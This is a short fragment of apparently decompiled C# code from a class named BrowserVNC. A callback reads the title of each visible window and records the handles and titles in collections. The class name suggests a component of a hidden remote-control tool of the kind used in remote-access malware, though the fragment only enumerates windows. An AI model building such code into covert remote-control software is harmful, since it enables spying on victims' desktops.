// Token: 0x060000E0 RID: 224 RVA: 0x000107CC File Offset: 0x0000E9CC public static bool filter(IntPtr hWnd, int lParam) { StringBuilder stringBuilder = new StringBuilder(255); IntPtr hWnd2 = hWnd; int msg = 13; int countOfChars = stringBuilder.Capacity + 1; StringBuilder text = stringBuilder; BrowserVNC.SendMessageTimeoutFlags flags = BrowserVNC.SendMessageTimeoutFlags.SMTO_ABORTIFHUNG; uint uTImeoutj = 1000u; IntPtr zero = IntPtr.Zero; int num = (int)BrowserVNC.SendMessageTimeoutText(hWnd2, msg, countOfChars, text, flags, uTImeoutj, out zero); string text2 = stringBuilder.ToString(); if (BrowserVNC.IsWindowVisible(hWnd) && !string.IsNullOrEmpty(text2)) { object instance = BrowserVNC.collection2; Type type = null; string memberName = "Add"; object[] array = new object[] { hWnd }; object[] arguments = array; string[] argumentNames = null; Type[] typeArguments = null; bool[] array2 = new bool[] { true }; NewLateBinding.LateCall(instance, type, memberName, arguments, argumentNames, typeArguments, array2, true); if (array2[0]) { hWnd = (IntPtr)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(IntPtr)); } BrowserVNC.collection.Add(text2); } return(true); }
public static extern uint SendMessageTimeoutText(IntPtr hWnd, int Msg, int countOfChars, StringBuilder text, BrowserVNC.SendMessageTimeoutFlags flags, uint uTImeoutj, out IntPtr result);